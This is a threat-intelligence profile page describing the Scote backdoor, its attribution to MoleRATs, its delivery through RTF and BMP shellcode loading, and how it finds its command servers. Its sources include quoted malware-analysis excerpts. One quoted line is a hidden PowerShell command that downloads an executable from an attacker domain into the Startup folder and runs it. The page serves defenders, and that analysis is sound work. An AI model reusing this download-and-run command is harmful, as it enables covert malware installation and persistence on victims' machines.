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Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
The ultimate payload is a new malware family that we have dubbed “Scote” based on strings we found within the malware samples. Scote provides backdoor access for an attacker and we have observed it collecting command and control (C2) information from Pastebin links as well as Google+ profiles.
1 distinct threat actor attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
the MoleRATs group has been known to develop its own custom tools such as DustySky, the MoleRAT Loader and Scote.
16 distinct techniques documented for this family, organized by ATT&CK tactic.
vFwhEtGt.Run("PowerShell.exe -WindowStyle Hidden $d=$env:userprofile+'\\start Menu\\Programs\\Startup\\12330718701ac441736a55e3ee3cx996.exe';(New-Object System.Net.WebClient).DownloadFile('http://storgemydata[.]website/x.exe',$d);Start-Process $d;")
DKMC can enable an attacker to load a legitimate bitmap (BMP) file that contains shellcode within it... This BMP file is loaded as shellcode.
it will load a series of libraries and functions using a common ROR13 technique... The malicious code then iterates through the functions of the necessary library and applies the same ROR13 technique against each function until it finds a match.
The shellcode ... will eventually decrypt an executable file and inject it into a newly spawned svchost.exe process.
Scote then connects to the previously retrieved C2 servers and sends the following information via TCP: command=scote_connection|hwid=[8 character hash]
30 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
2 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Custom malware/tool associated with MoleRATs, mentioned as background on the group's prior tooling.
Backdoor malware family used in the TopHat campaign. It retrieves C2 information from Pastebin and Google+ profiles, communicates over TCP, fingerprints victims, can terminate itself, run ipconfig and systeminfo, and download/load a DLL from C2. It is delivered through malicious RTFs, self-extracting executables, RAR archives, and DKMC-style BMP shellcode loading.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.